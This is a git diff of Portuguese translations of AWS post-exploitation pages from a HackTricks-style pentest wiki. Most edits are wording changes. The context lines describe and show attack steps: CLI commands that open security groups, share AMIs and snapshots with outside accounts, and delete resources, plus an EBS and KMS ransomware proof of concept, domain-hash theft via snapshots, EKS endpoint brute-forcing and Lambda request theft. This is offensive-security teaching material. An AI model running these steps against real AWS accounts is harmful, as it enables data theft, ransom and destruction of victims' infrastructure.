||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots são backups de volumes**, que geralmente conterão **informações sensíveis**, portanto, verificá-los deve revelar essas informações.\
|
||||
Se você encontrar um **volume sem um snapshot**, você poderia: **Criar um snapshot** e realizar as seguintes ações ou apenas **montá-lo em uma instância** dentro da conta:
|
||||
Se você encontrar um **volume sem um snapshot**, você pode: **Criar um snapshot** e realizar as seguintes ações ou apenas **montá-lo em uma instância** dentro da conta:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -70,11 +70,11 @@ Mesmo que você restrinja um EC2 para que nenhum tráfego possa sair, ele ainda
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Um atacante poderia chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
|
||||
Um atacante pode chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Você poderia obter acesso adicional a serviços de rede abrindo portas assim:
|
||||
Você pode obter acesso adicional a serviços de rede abrindo portas assim:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
@@ -119,17 +119,17 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Note que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está seguro de qualquer tipo de ataques MitM.
|
||||
Observe que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está seguro de qualquer tipo de ataques MitM.
|
||||
|
||||
Finalmente, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrárias para pivotar para qualquer outro serviço AWS ou uma aplicação personalizada.
|
||||
Finalmente, essa técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrários para se mover para qualquer outro serviço AWS ou uma aplicação personalizada.
|
||||
|
||||
### Compartilhar AMI
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Buscar informações sensíveis em AMIs públicas e privadas
|
||||
### Pesquisar informações sensíveis em AMIs públicas e privadas
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **buscar informações sensíveis dentro de Imagens de Máquina da Amazon (AMIs) públicas ou privadas**. Ela automatiza o processo de lançamento de instâncias a partir de AMIs alvo, montando seus volumes e escaneando em busca de segredos ou dados sensíveis potenciais.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **pesquisar informações sensíveis dentro de Imagens de Máquina da Amazon (AMIs) públicas ou privadas**. Ela automatiza o processo de lançamento de instâncias a partir de AMIs alvo, montando seus volumes e escaneando em busca de segredos ou dados sensíveis potenciais.
|
||||
|
||||
### Compartilhar Snapshot EBS
|
||||
```bash
|
||||
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deve ser renomeado para RMS, ou Serviço de Gerenciamento de Ransomware, dada a facilidade de uso para criptografar vários serviços da AWS usando-o.
|
||||
Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deve ser renomeado para RMS, ou Serviço de Gerenciamento de Ransomware, dada a facilidade de uso para criptografar vários serviços da AWS.
|
||||
|
||||
Primeiro, a partir de uma conta AWS de 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, deixaremos a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra da política que permite todo o acesso é chamada de 'Outside Encryption'
|
||||
Primeiro, a partir de uma conta AWS de 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, vamos apenas deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra da política que permite todo o acesso é chamada de 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -239,17 +239,17 @@ A regra da política de chave precisa das seguintes permissões habilitadas para
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Agora, com a chave acessível publicamente para usar. Podemos usar uma conta de 'vítima' que tenha algumas instâncias EC2 criadas com volumes EBS não criptografados anexados. Os volumes EBS dessa conta de 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
|
||||
Agora, com a chave acessível publicamente para usar. Podemos usar uma conta de 'vítima' que tenha algumas instâncias EC2 criadas com volumes EBS não criptografados anexados. Os volumes EBS da conta 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
|
||||
|
||||
 
|
||||
|
||||
Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta 'atacante' para criptografar os novos volumes EBS, em seguida, desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. 
|
||||
Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta 'atacante' para criptografar os novos volumes EBS, em seguida, destacará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. 
|
||||
|
||||
Isso resulta em apenas volumes EBS criptografados disponíveis na conta.
|
||||
|
||||
|
||||
|
||||
Também vale a pena notar que o script parou as instâncias EC2 para desanexar e excluir os volumes EBS originais. Os volumes originais não criptografados não existem mais.
|
||||
Também vale a pena notar que o script parou as instâncias EC2 para destacar e excluir os volumes EBS originais. Os volumes não criptografados originais já não existem.
|
||||
|
||||
|
||||
|
||||
@@ -324,15 +324,15 @@ Em seguida, retorne à política de chave na conta 'atacante' e remova a regra d
|
||||
]
|
||||
}
|
||||
```
|
||||
Aguarde um momento para que a nova política de chave se propague. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume.
|
||||
Aguarde um momento para que a nova política de chave seja propagada. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume.
|
||||
|
||||
 
|
||||
|
||||
Mas quando você tentar realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso.
|
||||
Mas quando você tenta realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso.
|
||||
|
||||
 
|
||||
|
||||
Este é o script python utilizado. Ele recebe credenciais AWS para uma conta 'vítima' e um valor ARN AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original por meio de snapshots, mas quero apenas que você esteja ciente de que isso é uma prova de conceito de ransomware no final das contas.
|
||||
Este é o script python utilizado. Ele recebe credenciais da AWS para uma conta 'vítima' e um valor ARN da AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original via snapshots, mas só quero que você esteja ciente de que isso é uma prova de conceito de ransomware no final das contas.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
|
||||
+2
-2
@@ -50,7 +50,7 @@ Para mais informações sobre esta técnica, consulte a pesquisa original em [ht
|
||||
|
||||
Você pode fazer isso com o Pacu usando o módulo [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
|
||||
|
||||
## Verificando um snapshot na AWS
|
||||
## Verificando um snapshot no AWS
|
||||
```bash
|
||||
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
|
||||
```
|
||||
@@ -122,7 +122,7 @@ ls /mnt
|
||||
```
|
||||
## Shadow Copy
|
||||
|
||||
Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que eles controlam e **exportando o NTDS.dit e o arquivo do hive do registro SYSTEM** para uso com o projeto secretsdump do Impacket.
|
||||
Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que eles controlam e **exportando o arquivo NTDS.dit e o hive de registro SYSTEM** para uso com o projeto secretsdump do Impacket.
|
||||
|
||||
Você pode usar esta ferramenta para automatizar o ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou você pode usar uma das técnicas anteriores após criar um snapshot.
|
||||
|
||||
|
||||
+4
-4
@@ -1,14 +1,14 @@
|
||||
# AWS - Malicious VPC Mirror
|
||||
# AWS - Espelho VPC Malicioso
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Verifique** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **para mais detalhes do ataque!**
|
||||
|
||||
A inspeção passiva de rede em um ambiente de nuvem tem sido **desafiadora**, exigindo grandes mudanças de configuração para monitorar o tráfego de rede. No entanto, um novo recurso chamado “**VPC Traffic Mirroring**” foi introduzido pela AWS para simplificar esse processo. Com o VPC Traffic Mirroring, o tráfego de rede dentro das VPCs pode ser **duplicado** sem instalar nenhum software nas instâncias. Esse tráfego duplicado pode ser enviado para um sistema de detecção de intrusões de rede (IDS) para **análise**.
|
||||
A inspeção passiva de rede em um ambiente de nuvem tem sido **desafiadora**, exigindo grandes mudanças de configuração para monitorar o tráfego de rede. No entanto, um novo recurso chamado “**Espelhamento de Tráfego VPC**” foi introduzido pela AWS para simplificar esse processo. Com o Espelhamento de Tráfego VPC, o tráfego de rede dentro das VPCs pode ser **duplicado** sem a necessidade de instalar qualquer software nas instâncias. Esse tráfego duplicado pode ser enviado para um sistema de detecção de intrusões de rede (IDS) para **análise**.
|
||||
|
||||
Para atender à necessidade de **implantação automatizada** da infraestrutura necessária para espelhar e exfiltrar o tráfego da VPC, desenvolvemos um script de prova de conceito chamado “**malmirror**”. Este script pode ser usado com **credenciais AWS comprometidas** para configurar o espelhamento para todas as instâncias EC2 suportadas em uma VPC alvo. É importante notar que o VPC Traffic Mirroring é suportado apenas por instâncias EC2 alimentadas pelo sistema AWS Nitro, e o alvo do espelho VPC deve estar dentro da mesma VPC que os hosts espelhados.
|
||||
Para atender à necessidade de **implantação automatizada** da infraestrutura necessária para espelhar e exfiltrar o tráfego VPC, desenvolvemos um script de prova de conceito chamado “**malmirror**”. Este script pode ser usado com **credenciais AWS comprometidas** para configurar o espelhamento para todas as instâncias EC2 suportadas em uma VPC alvo. É importante notar que o Espelhamento de Tráfego VPC é suportado apenas por instâncias EC2 alimentadas pelo sistema AWS Nitro, e o alvo do espelho VPC deve estar dentro da mesma VPC que os hosts espelhados.
|
||||
|
||||
O **impacto** do espelhamento de tráfego VPC malicioso pode ser significativo, pois permite que atacantes acessem **informações sensíveis** transmitidas dentro das VPCs. A **probabilidade** de tal espelhamento malicioso é alta, considerando a presença de **tráfego em texto claro** fluindo através das VPCs. Muitas empresas usam protocolos em texto claro dentro de suas redes internas por **razões de desempenho**, assumindo que ataques tradicionais de man-in-the-middle não são possíveis.
|
||||
O **impacto** do espelhamento malicioso de tráfego VPC pode ser significativo, pois permite que atacantes acessem **informações sensíveis** transmitidas dentro das VPCs. A **probabilidade** de tal espelhamento malicioso é alta, considerando a presença de **tráfego em texto claro** fluindo através das VPCs. Muitas empresas usam protocolos em texto claro dentro de suas redes internas por **razões de desempenho**, assumindo que ataques tradicionais de homem no meio não são possíveis.
|
||||
|
||||
Para mais informações e acesso ao [**script malmirror**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), ele pode ser encontrado em nosso **repositório GitHub**. O script automatiza e simplifica o processo, tornando-o **rápido, simples e repetível** para fins de pesquisa ofensiva.
|
||||
|
||||
|
||||
+3
-3
@@ -13,7 +13,7 @@ Para mais informações, consulte:
|
||||
### Funções IAM do Host
|
||||
|
||||
No ECS, uma **função IAM pode ser atribuída à tarefa** que está sendo executada dentro do contêiner. **Se** a tarefa estiver sendo executada dentro de uma **instância EC2**, a **instância EC2** terá **outra função IAM** anexada a ela.\
|
||||
O que significa que, se você conseguir **comprometer** uma instância ECS, poderá potencialmente **obter a função IAM associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais, consulte:
|
||||
Isso significa que, se você conseguir **comprometer** uma instância ECS, poderá **obter a função IAM associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais, consulte:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
@@ -33,7 +33,7 @@ Além disso, a **função da instância EC2** geralmente terá permissões sufic
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
A mesma técnica pode ser feita **desregistrando a instância EC2 do cluster**. Isso é potencialmente menos furtivo, mas **forçará as tarefas a serem executadas em outras instâncias:**
|
||||
A mesma técnica pode ser feita **desregistrando a instância EC2 do cluster**. Isso é potencialmente menos discreto, mas **forçará as tarefas a serem executadas em outras instâncias:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
@@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Roubar informações sensíveis de contêineres ECR
|
||||
|
||||
A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationToken`, permitindo que ela **baixe imagens** (você pode procurar por informações sensíveis nelas).
|
||||
A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationToken`, permitindo que ela **baixe imagens** (você pode procurar informações sensíveis nelas).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
Um atacante poderia deletar um ponto de montagem, potencialmente interrompendo o acesso ao sistema de arquivos EFS para aplicações e usuários que dependem desse ponto de montagem.
|
||||
Um atacante poderia deletar um alvo de montagem, potencialmente interrompendo o acesso ao sistema de arquivos EFS para aplicações e usuários que dependem desse alvo de montagem.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
|
||||
+9
-9
@@ -21,11 +21,11 @@ Se você tiver a permissão **`eks:AccessKubernetesApi`**, você pode **visualiz
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Não é um caminho tão fácil:
|
||||
- Não é tão fácil assim:
|
||||
|
||||
Se você conseguir **obter um token** com **`aws eks get-token --name <cluster_name>`** mas não tiver permissões para obter informações do cluster (describeCluster), você pode **preparar seu próprio `~/.kube/config`**. No entanto, tendo o token, você ainda precisa da **url do endpoint para se conectar** (se você conseguiu obter um token JWT de um pod leia [aqui](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) e o **nome do cluster**.
|
||||
|
||||
No meu caso, não encontrei as informações nos logs do CloudWatch, mas eu **encontrai no userData dos LaunchTemplates** e nas **máquinas EC2 no userData também**. Você pode ver essas informações em **userData** facilmente, por exemplo, no próximo exemplo (o nome do cluster era cluster-name):
|
||||
No meu caso, não encontrei as informações nos logs do CloudWatch, mas eu **encontrai no userData dos LaunchTemplates** e nas **máquinas EC2 no userData também**. Você pode ver essas informações no **userData** facilmente, por exemplo, no próximo exemplo (o nome do cluster era cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
@@ -74,12 +74,12 @@ provideClusterInfo: false
|
||||
|
||||
O **criador** do **cluster EKS** **SEMPRE** poderá acessar a parte do cluster kubernetes do grupo **`system:masters`** (admin k8s). No momento da redação, não há **nenhuma maneira direta** de descobrir **quem criou** o cluster (você pode verificar o CloudTrail). E não há **como** **remover** esse **privilégio**.
|
||||
|
||||
A maneira de conceder **acesso ao K8s para mais usuários ou funções do AWS IAM** é usando o **configmap** **`aws-auth`**.
|
||||
A maneira de conceder **acesso a mais usuários ou funções do AWS IAM** sobre o K8s é usando o **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Portanto, qualquer pessoa com **acesso de escrita** sobre o config map **`aws-auth`** poderá **comprometer todo o cluster**.
|
||||
|
||||
Para mais informações sobre como **conceder privilégios extras a funções e usuários IAM** na **mesma ou em outra conta** e como **abusar** disso, [**verifique esta página**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
Para mais informações sobre como **conceder privilégios extras a funções e usuários IAM** na **mesma ou em contas diferentes** e como **abusar** disso, [**verifique esta página**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Confira também [**este post incrível**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **para aprender como a autenticação IAM -> Kubernetes funciona**.
|
||||
|
||||
@@ -98,7 +98,7 @@ Não encontrei nenhuma documentação que explique os critérios para os 'dois c
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
De qualquer forma, são apenas 3 caracteres que podemos bruteforçar. Use o script abaixo para gerar a lista.
|
||||
De qualquer forma, são apenas 3 caracteres que podemos fazer brute force. Use o script abaixo para gerar a lista.
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
@@ -125,18 +125,18 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
|
||||
|
||||
Se um atacante obtiver credenciais de um AWS com **permissão sobre um EKS**. Se o atacante configurar seu próprio **`kubeconfig`** (sem chamar **`update-kubeconfig`**) como explicado anteriormente, o **`get-token`** não gera logs no Cloudtrail porque não interage com a API da AWS (apenas cria o token localmente).
|
||||
|
||||
Portanto, quando o atacante se comunica com o cluster EKS, **o cloudtrail não registrará nada relacionado ao usuário sendo roubado e acessando-o**.
|
||||
Assim, quando o atacante se comunica com o cluster EKS, **o cloudtrail não registrará nada relacionado ao usuário sendo roubado e acessando-o**.
|
||||
|
||||
Note que o **cluster EKS pode ter logs habilitados** que registrarão esse acesso (embora, por padrão, estejam desativados).
|
||||
|
||||
### EKS Ransom?
|
||||
|
||||
Por padrão, o **usuário ou função que criou** um cluster **SEMPRE terá privilégios de administrador** sobre o cluster. E que o único acesso "seguro" que a AWS terá sobre o cluster Kubernetes.
|
||||
Por padrão, o **usuário ou função que criou** um cluster **SEMPRE terá privilégios de administrador** sobre o cluster. E esse é o único acesso "seguro" que a AWS terá sobre o cluster Kubernetes.
|
||||
|
||||
Assim, se um **atacante comprometer um cluster usando fargate** e **remover todos os outros administradores** e **deletar o usuário/função AWS que criou** o Cluster, ~~o atacante poderia ter **resgatado o cluster**~~**r**.
|
||||
Portanto, se um **atacante comprometer um cluster usando fargate** e **remover todos os outros administradores** e **deletar o usuário/função da AWS que criou** o Cluster, ~~o atacante poderia ter **rendido o cluste**~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Note que se o cluster estivesse usando **EC2 VMs**, poderia ser possível obter privilégios de Admin a partir do **Node** e recuperar o cluster.
|
||||
> Note que se o cluster estiver usando **EC2 VMs**, pode ser possível obter privilégios de Admin a partir do **Node** e recuperar o cluster.
|
||||
>
|
||||
> Na verdade, se o cluster estiver usando Fargate, você poderia EC2 nodes ou mover tudo para EC2 para o cluster e recuperá-lo acessando os tokens no node.
|
||||
|
||||
|
||||
+5
-5
@@ -19,18 +19,18 @@ Um atacante com a permissão `elasticbeanstalk:DeleteApplicationVersion` pode **
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Impacto Potencial**: Interrupção da implantação de aplicativos e potencial perda de versões de aplicativos.
|
||||
**Impacto Potencial**: Interrupção da implantação de aplicativos e possível perda de versões de aplicativos.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se mais permissões são necessárias para isso
|
||||
|
||||
Um atacante com a permissão `elasticbeanstalk:TerminateEnvironment` pode **encerrar um ambiente Elastic Beanstalk existente**, causando inatividade para o aplicativo e potencial perda de dados se o ambiente não estiver configurado para backups.
|
||||
Um atacante com a permissão `elasticbeanstalk:TerminateEnvironment` pode **encerrar um ambiente Elastic Beanstalk existente**, causando inatividade para o aplicativo e possível perda de dados se o ambiente não estiver configurado para backups.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Impacto Potencial**: Tempo de inatividade da aplicação, potencial perda de dados e interrupção dos serviços.
|
||||
**Impacto Potencial**: Tempo de inatividade da aplicação, perda potencial de dados e interrupção dos serviços.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
@@ -45,7 +45,7 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTA]
|
||||
> [!NOTE]
|
||||
> TODO: Testar se mais permissões são necessárias para isso
|
||||
|
||||
Um atacante com a permissão `elasticbeanstalk:SwapEnvironmentCNAMEs` pode **trocar os registros CNAME de dois ambientes do Elastic Beanstalk**, o que pode fazer com que a versão errada da aplicação seja servida aos usuários ou levar a comportamentos não intencionais.
|
||||
@@ -56,7 +56,7 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> [!NOTA]
|
||||
> TODO: Testar se mais permissões são necessárias para isso
|
||||
|
||||
Um atacante com as permissões `elasticbeanstalk:AddTags` e `elasticbeanstalk:RemoveTags` pode **adicionar ou remover tags em recursos do Elastic Beanstalk**. Essa ação pode levar a alocação incorreta de recursos, cobrança ou gerenciamento de recursos.
|
||||
|
||||
+2
-2
@@ -14,11 +14,11 @@ Para mais informações sobre acesso IAM:
|
||||
|
||||
Se você **permitir que uma conta externa (A)** acesse um **papel** em sua conta, você provavelmente terá **0 visibilidade** sobre **quem pode exatamente acessar essa conta externa**. Isso é um problema, porque se outra conta externa (B) puder acessar a conta externa (A), é possível que **B também consiga acessar sua conta**.
|
||||
|
||||
Portanto, ao permitir que uma conta externa acesse um papel em sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assumir o papel em sua organização**. Como a **conta externa B não saberá essa string**, mesmo que tenha acesso à A, **não conseguirá acessar seu papel**.
|
||||
Portanto, ao permitir que uma conta externa acesse um papel em sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assumir o papel em sua organização**. Como a **conta externa B não saberá essa string**, mesmo que tenha acesso a A, **não conseguirá acessar seu papel**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
No entanto, observe que esse `ExternalId` "secreto" **não é um segredo**, qualquer um que puder **ler a política de assumir papel do IAM poderá vê-lo**. Mas, desde que a conta externa A saiba, mas a conta externa **B não saiba**, isso **impede B de abusar de A para acessar seu papel**.
|
||||
No entanto, observe que esse `ExternalId` "secreto" **não é um segredo**, qualquer um que puder **ler a política de assumir papel do IAM poderá vê-lo**. Mas, enquanto a conta externa A souber, mas a conta externa **B não souber**, isso **impede B de abusar de A para acessar seu papel**.
|
||||
|
||||
Exemplo:
|
||||
```json
|
||||
|
||||
+5
-5
@@ -12,15 +12,15 @@ Para mais informações, consulte:
|
||||
|
||||
### Criptografar/Descriptografar informações
|
||||
|
||||
`fileb://` e `file://` são esquemas URI usados em comandos AWS CLI para especificar o caminho para arquivos locais:
|
||||
`fileb://` e `file://` são esquemas URI usados em comandos da AWS CLI para especificar o caminho para arquivos locais:
|
||||
|
||||
- `fileb://:` Lê o arquivo em modo binário, comumente usado para arquivos não-texto.
|
||||
- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos de codificação especiais.
|
||||
- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos especiais de codificação.
|
||||
|
||||
> [!TIP]
|
||||
> Observe que se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://)
|
||||
|
||||
- Usando uma **chave** simétrica
|
||||
- Usando uma chave **simétrica**
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -103,7 +103,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
Há outra maneira de realizar um Ransomware KMS Global, que envolveria os seguintes passos:
|
||||
|
||||
- Criar uma nova **chave com um material de chave** importado pelo atacante
|
||||
- **Recriptografar dados mais antigos** criptografados com a versão anterior com a nova.
|
||||
- **Recriptografar dados antigos** criptografados com a versão anterior com a nova.
|
||||
- **Excluir a chave KMS**
|
||||
- Agora, apenas o atacante, que possui o material de chave original, poderá descriptografar os dados criptografados
|
||||
|
||||
@@ -118,7 +118,7 @@ aws kms schedule-key-deletion \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Observe que a AWS agora **impede que as ações anteriores sejam realizadas de uma conta cruzada:**
|
||||
> Note que a AWS agora **impede que as ações anteriores sejam realizadas de uma conta cruzada:**
|
||||
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
+1
-1
@@ -20,7 +20,7 @@ aws-warm-lambda-persistence.md
|
||||
|
||||
### Roubar Requisições de URL de Outros Lambdas & Requisições de Extensões
|
||||
|
||||
Abusando das Camadas do Lambda, também é possível abusar de extensões e persistir no lambda, mas também roubar e modificar requisições.
|
||||
Abusando de Lambda Layers, também é possível abusar de extensões e persistir no lambda, mas também roubar e modificar requisições.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
|
||||
+1
-1
@@ -18,7 +18,7 @@ Note que o bootstrap carrega o código do usuário como um módulo, então qualq
|
||||
|
||||
## Roubo de Requisições Lambda
|
||||
|
||||
O objetivo deste ataque é fazer com que o código do usuário execute um processo malicioso **`bootstrap.py`** dentro do processo **`bootstrap.py`** que manipula a requisição vulnerável. Dessa forma, o processo **bootstrap malicioso** começará a **comunicar-se com o processo init** para manipular as requisições enquanto o bootstrap **legítimo** está **preso** executando o malicioso, de modo que não pedirá requisições ao processo init.
|
||||
O objetivo deste ataque é fazer com que o código do usuário execute um processo malicioso **`bootstrap.py`** dentro do processo **`bootstrap.py`** que manipula a requisição vulnerável. Dessa forma, o processo **malicioso bootstrap** começará a **comunicar-se com o processo init** para manipular as requisições enquanto o bootstrap **legítimo** está **preso** executando o malicioso, de modo que não pedirá requisições ao processo init.
|
||||
|
||||
